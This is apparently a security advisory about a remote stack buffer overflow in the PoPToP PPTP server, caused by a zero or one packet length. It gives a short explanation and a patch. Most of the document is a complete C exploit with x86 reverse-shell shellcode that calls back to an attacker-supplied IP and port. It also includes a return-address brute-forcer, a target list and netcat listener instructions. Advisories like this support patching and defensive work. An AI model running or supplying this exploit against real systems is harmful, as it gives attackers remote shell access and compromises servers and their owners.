|
|
|
|
| |
| PoPToP is "the PPTP server solution for Linux (ports exist for Solaris 2.6, OpenBSD and FreeBSD and others). Before PoPToP no solution existed if you wished to include Linux servers in PPTP established VPNs". A remotely exploitable buffer overflow allows attackers to cause the product to execute arbitrary code by supplying telling the program the length of the buffer being transmitted is 0. The following exploit code can be used to test an administrator's installation of the program. |
| |
Credit:
The information has been provided by EINSTEIN, blightninjas, and Timo Sirainen.
|
| |
PPTP packet header contains 16-bit length that specifies the full size of the packet:
bytes_this = read(clientFd, packet + bytes_ttl, 2 - bytes_ttl);
// ...
bytes_ttl += bytes_this;
// ...
length = htons(*(u_int16_t *) packet);
if (length > PPTP_MAX_CTRL_PCKT_SIZE) {
// abort
}
Looks good so far, except:
bytes_this = read(clientFd, packet + bytes_ttl, length - bytes_ttl);
If given length was 0 or 1, the "length - bytes_ttl" result is -1 or -2, which means that it reads unlimited amount of data from client into "packet", which is a buffer located in stack.
The exploitability only depends on if libc allows the size parameter to be larger than SSIZE_MAX bytes. GLIBC does, Solaris and *BSD don't.
Patch:
--- ctrlpacket.c.old 1999-12-23 23:43:33.000000000 +0200
+++ ctrlpacket.c 2003-04-09 18:58:21.000000000 +0300
@@ -254,8 +254,8 @@
}
/* OK, we have (at least) the first 2 bytes, and there is data waiting */
length = htons(*(u_int16_t *) packet);
- if (length > PPTP_MAX_CTRL_PCKT_SIZE) {
- syslog(LOG_ERR, "CTRL: Control packet > PPTP_MAX_CTRL_PCKT_SIZE (length = %d)", length);
+ if (length <= 10 || length > PPTP_MAX_CTRL_PCKT_SIZE) {
+ syslog(LOG_ERR, "CTRL: 11 < Control packet (length=%d) < ", length);
/* we loose sync (unless we malloc something big, which isn't a good
* idea - potential DoS) so we must close connection (draft states that
* if you loose sync you must close the control connection immediately)
Exploit:
/*
* Fixed Exploit against PoPToP in Linux (poptop-sane.c)
* ./r4nc0rwh0r3 of blightninjas (blightninjas@hushmail.com)
*
* blightninjas: bringing pain, suffering, and humiliation to the security world
* Expect more great release like helloworld-annotated.c and
* cd explained whitepaper, we are working hard in da underground
*
* Other Editions Available At:
* http://www.freewebs.com/blightninjas/
*
* *** Bugtraq Clean Edition ***
* Based off of code by einstein_dhtm@front.ru
*
* Notes on the exploit:
* This was only tested under slackware, RET_OFF could possibly
* be different.
* You can have nulls in the shellcode (the hole is in a read())
* This allows you to have ips and ports with nulls in them
*
* Shouts to ADM, TESO, and all the other "cool" groups that never give us 0day
*
* Examples:
* attack target 1
* nc -v -l -p 10000 <-- on 1.1.1.2
* ./poptop-sane 1.1.1.1 1.1.1.2 10000 -t 1
* don't come to use, we come to you.
*
* ./poptop-sane 1.1.1.1 1.1.1.2 10000 -t
* list targets
*
* ./poptop-sane 1.1.1.1 1.1.1.2 10000 -r 0xbffff600
* attack using ret address 0xbffff600
*
* I think you get the point
*/
#include <stdio.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <signal.h>
#define NOP_LENGTH 140
// I calculate at 336, I'll fudge to make more general
#define RET_OFF 320
#define MAX_HOSTNAME_SIZE 64
#define MAX_VENDOR_SIZE 64
#define PPTP_VERSION 0x0100
/* Magic Cookie */
#define PPTP_MAGIC_COOKIE 0x1a2b3c4d
/* Message types */
#define PPTP_CTRL_MESSAGE 1
/* Control Connection Management */
#define START_CTRL_CONN_RQST 1
#define START_CTRL_CONN_RPLY 2
#define STOP_CTRL_CONN_RQST 3
#define STOP_CTRL_CONN_RPLY 4
#define ECHO_RQST 5
#define ECHO_RPLY 6
// brute force values
// Values can be increased both ways
#define TOPOFSTACK 0xbffff800
#define BOTTOMOFSTACK 0xbffff000
#define STEP 64
/* esdee I love you, call me sometime */
char
shellcode[] =
"\x31\xc0\x31\xdb\x31\xc9\x51\xb1"
"\x06\x51\xb1\x01\x51\xb1\x02\x51"
"\x89\xe1\xb3\x01\xb0\x66\xcd\x80"
"\x89\xc2\x31\xc0\x31\xc9\x51\x51"
"\x68\x41\x42\x43\x44\x66\x68\xb0"
"\xef\xb1\x02\x66\x51\x89\xe7\xb3"
"\x10\x53\x57\x52\x89\xe1\xb3\x03"
"\xb0\x66\xcd\x80\x31\xc9\x39\xc1"
"\x74\x06\x31\xc0\xb0\x01\xcd\x80"
"\x31\xc0\xb0\x3f\x89\xd3\xcd\x80"
"\x31\xc0\xb0\x3f\x89\xd3\xb1\x01"
"\xcd\x80\x31\xc0\xb0\x3f\x89\xd3"
"\xb1\x02\xcd\x80\x31\xc0\x31\xd2"
"\x50\x68\x6e\x2f\x73\x68\x68\x2f"
"\x2f\x62\x69\x89\xe3\x50\x53\x89"
"\xe1\xb0\x0b\xcd\x80\x31\xc0\xb0"
"\x01\xcd\x80";
int st;
struct target {
char *desc;
u_int32_t ret;
} targets[] =
{
{"Slackware 8.0 Linux 2.4.18 pptpd-1.0.1", 0xbffff540},
{"Slackware 8.0 Linux 2.4.18 pptpd-1.1.3", 0xbffff580},
};
struct pptp_header {
u_int16_t length; /* pptp message length incl header */
u_int16_t pptp_type; /* pptp message type */
u_int32_t magic; /* magic cookie */
u_int16_t ctrl_type; /* control message type */
u_int16_t reserved0; /* reserved */
};
struct pptp_start_ctrl_conn_rqst {
struct pptp_header header; /* pptp header */
u_int16_t version; /* pptp protocol version */
u_int16_t reserved1; /* reserved */
u_int32_t framing_cap; /* framing capabilities */
u_int32_t bearer_cap; /* bearer capabilities */
u_int16_t max_channels; /* maximum channels */
u_int16_t firmware_rev; /* firmware revision */
u_int8_t hostname[MAX_HOSTNAME_SIZE]; /* hostname */
u_int8_t vendor[MAX_VENDOR_SIZE]; /* vendor */
};
struct pptp_echo_rqst {
struct pptp_header header; /* header */
u_int32_t identifier; /* value to match rply with rqst */
char buf[10000];
};
struct pptp_reply {
struct pptp_header header; /* header */
char buf[10000];
};
void catch_pipe() {
printf("Broken pipe caught, server most likely patched.\n");
exit(1);
}
void send_init_request(int st)
{
struct pptp_start_ctrl_conn_rqst request;
request.header.magic = htonl(PPTP_MAGIC_COOKIE);
request.header.pptp_type = htons(PPTP_CTRL_MESSAGE);
request.header.ctrl_type = htons(START_CTRL_CONN_RQST);
request.version = PPTP_VERSION;
request.framing_cap = 0;
request.bearer_cap = 0;
request.max_channels = 1;
request.firmware_rev = 0;
strcpy(request.hostname,"hell");
strcpy(request.vendor,"domain HELL");
request.header.length = ntohs(sizeof(request));
send(st,(char*)&request,sizeof(request),0);
}
void send_ping_overflow(int st, u_int32_t ret, char *hostname, short port)
{
struct pptp_echo_rqst ping;
int i, buflen = 500;
ping.header.magic = htonl(PPTP_MAGIC_COOKIE);
ping.header.pptp_type = htons(PPTP_CTRL_MESSAGE);
ping.header.ctrl_type = htons(ECHO_RQST);
ping.identifier = 111;
ping.header.length = ntohs(1);
for (i = 0; i < NOP_LENGTH; i++) ping.buf[i] = '\x90';
*(unsigned long int*)(shellcode+33) = inet_addr(hostname);
*(unsigned short int*)(shellcode+39) = htons(port);
memcpy(ping.buf+NOP_LENGTH,shellcode,sizeof(shellcode));
for(i = RET_OFF; i < buflen - 4; i+=4)
memcpy(ping.buf+i,(char*)&ret,4);
send(st,(char*)&ping,sizeof(ping.header)+buflen,0);
}
int connect_server(char* hostname)
{
struct sockaddr_in addr;
st=socket(PF_INET,SOCK_STREAM,0);
if ((st=socket(PF_INET,SOCK_STREAM,0)) == -1) return 0;
addr.sin_family=AF_INET;
addr.sin_port=0;
addr.sin_addr.s_addr=0;
bind(st, (struct sockaddr *)&addr,sizeof(struct sockaddr));
addr.sin_family=AF_INET;
addr.sin_port=htons(1723);
addr.sin_addr.s_addr=inet_addr(hostname);
printf("connecting... ");
if ((connect(st,(struct sockaddr*)&addr,sizeof(addr))) != 0)
{
perror("connect");
return 0;
}
return 1;
}
int main(int argc, char** argv)
{
struct pptp_reply reply;
// rushing things only makes it worse
int timeout = 1000;
u_int32_t ret;
int bytes, j, checked = 0;
signal(SIGPIPE, catch_pipe);
printf("\n");
// Sorry, I failed REALLY FUCKING LAME ASCII ART class
printf(" D A SSSSS \n");
printf(" D A A S SSSSS T\n");
printf(" D A A S S T EE AA M M \n");
printf(" DDD D AAAAAAA SSSSS S T E E A A MM MM \n");
printf(" D DD A A S SSSSS TTTT E E A A MM MM \n");
printf(" D D A A S S T EEE AAAA M M M \n");
printf(" D D A A SSSSS S T E A A M M \n");
printf(" DDDD A A SSSSS TTT EEE A A M M ");
printf(" ... presents ... \n\n");
printf("Exploit for PoPToP PPTP server older than\n1.1.4-b3 and 1.1.3-20030409 under Linux.\n");
printf("by .einstein., April 2003. <-- the genius\n\n");
printf("fixed by ./r4nc0rwh0r3 of blightninjas blightninjas@hushmail.com\n\n");
if (argc < 2)
{
printf("usage: \n");
printf(" %s <pptp_server> [your_ip] [your_port] ...\n",argv[0]);
printf(" -b [timeout in ms]\n");
printf(" -t [target]\n");
printf(" -r [ret address]\n");
//Abridged edition
printf(" Only supply pptp_server to test exploitability using really poor method.\n");
printf(" Connect back to your_ip at your_port.\n\n");
return 0;
}
if (argc == 2)
{
if (!connect_server(argv[1])) return 1;
printf("\nChecking if the server is vulnerable..\n");
printf("(if it is you have to wait 65 seconds)..\n");
send_init_request(st);
ret = 0x01010101;
//header length
bytes = recv(st,(char*)&reply,2,0);
bytes = ntohs(reply.header.length);
bytes = recv(st,(char*)&reply+2,bytes-2,0);
j = htons(reply.header.ctrl_type);
send_ping_overflow(st,ret,"0.0.0.0",0);
//header length
bytes = recv(st,(char*)&reply,2,0);
printf("PoPToP server is ");
if ((bytes = recv(st,(char*)&reply,2,0)) != -1) printf("vulnerable!\n");
else printf("not vulnerable\n");
close(st);
return 1;
}
if(argc < 5) exit(1);
else if(strncmp(argv[4], "-b", 2) == 0) {
if(argc == 6) timeout = atoi(argv[5]);
printf("[!] Attempting bruteforce against %s, timeout: %d\n", argv[1], timeout);
printf("interrupt when you get a shell to %s on port %d...\n\n",argv[2],atoi(argv[3]));
for (ret = TOPOFSTACK; ret >=BOTTOMOFSTACK; ret -= STEP) {
printf("[*] ");
if (!connect_server(argv[1])) return 1;
printf("[ret=0x%x]..",ret);
printf("sending payload..");
// initial packet
send_init_request(st);
//a real overflowing ping packet
send_ping_overflow(st,ret,argv[2],atoi(argv[3]));
close(st);
usleep(timeout * 1000);
printf("done\n");
}
}
else if(strncmp(argv[4], "-t", 2) == 0) {
if(argc == 6 && atoi(argv[5]) >= 0
&& atoi(argv[5]) < sizeof(targets)/sizeof(struct target)) {
ret = targets[atoi(argv[5])].ret;
printf("[!] Attacking %s using %s\n", argv[1], targets[atoi(argv[5])].desc);
printf("[*] ");
if (!connect_server(argv[1])) return 1;
printf("[ret=0x%x]..",ret);
printf("sending payload..");
// initial packet
send_init_request(st);
//a real overflowing ping packet
send_ping_overflow(st,ret,argv[2],atoi(argv[3]));
close(st);
printf("done\n");
}
else {
for(j = 0; j < sizeof(targets)/sizeof(struct target); j++) {
printf("%02d - %s\n", j, targets[j].desc);
}
printf("\n");
}
}
else if(strncmp(argv[4], "-r", 2) == 0) {
if(argc == 6) {
sscanf(argv[5], "%x", (unsigned int *)&ret);
printf("[!] Attacking %s\n", argv[1]);
printf("[*] ");
if (!connect_server(argv[1])) return 1;
printf("[ret=0x%x]..",ret);
printf("sending payload..");
// initial packet
send_init_request(st);
//a real overflowing ping packet
send_ping_overflow(st,ret,argv[2],atoi(argv[3]));
close(st);
printf("done\n");
}
}
return 0;
}
|
|
|
|
|